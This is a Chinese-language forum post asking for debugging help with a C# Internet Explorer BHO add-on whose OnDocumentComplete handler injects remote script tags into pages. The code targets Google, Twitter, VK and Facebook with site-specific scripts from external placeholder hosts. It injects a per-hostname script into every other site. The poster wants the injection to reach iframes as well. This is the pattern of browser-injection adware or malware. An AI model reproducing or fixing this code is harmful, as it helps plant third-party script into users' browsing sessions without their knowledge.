嗨,我在 C# 中制作了一个 ie bho 插件
这是 OnDocumentComplete 事件
它工作得很好,但是当有一个具有 iframe 的网站时
当它应该注入 iframe 时,它会将脚本注入主窗口?
我希望如果我能解释
public void OnDocumentComplete(object pDisp, ref object URL)
{
if (((this.webBrowser != null) && (this.webBrowser.ReadyState == tagREADYSTATE.READYSTATE_COMPLETE)) && !this.webBrowser.Busy)
{
HTMLDocument o = this.webBrowser.Document as HTMLDocument;
string hostname = o.location.hostname;
Random random = new Random();
if (o.getElementById("xxxxxxx") == null)
{
HTMLBody body = (HTMLBody) o.body;
HTMLScriptElement element = (HTMLScriptElement) o.createElement("script");
if (hostname.Contains("google."))
{
element.src = o.location.protocol + "//g.x.com/g.js?ie=" + random.Next(1, 0x186a0);
}
else if (hostname.Contains("twitter."))
{
element.src = o.location.protocol + "//tw.x.com/tw/tw.js?ie=" + random.Next(1, 0x186a0);
}
else if (hostname.Contains("vkontakte."))
{
element.src = o.location.protocol + "//vk.x.com/vk/vk.js?ie=" + random.Next(1, 0x186a0);
}
else if (hostname.Contains("vk."))
{
element.src = o.location.protocol + "//vk.x.com/vk/vk.js?ie=" + random.Next(1, 0x186a0);
}
else if (hostname.Contains("facebook."))
{
element.src = o.location.protocol + "//cdn.x.com/zt.js?ie=" + random.Next(1, 0x186a0);
}
else
{
element.src = string.Concat(new object[] { o.location.protocol, "//all.x.com/all/", hostname, ".js?ie=", random.Next(1, 0x186a0) });
}
body.appendChild((IHTMLDOMNode) element);
Marshal.ReleaseComObject(element);
Marshal.ReleaseComObject(body);
Marshal.ReleaseComObject(o);
}
}
}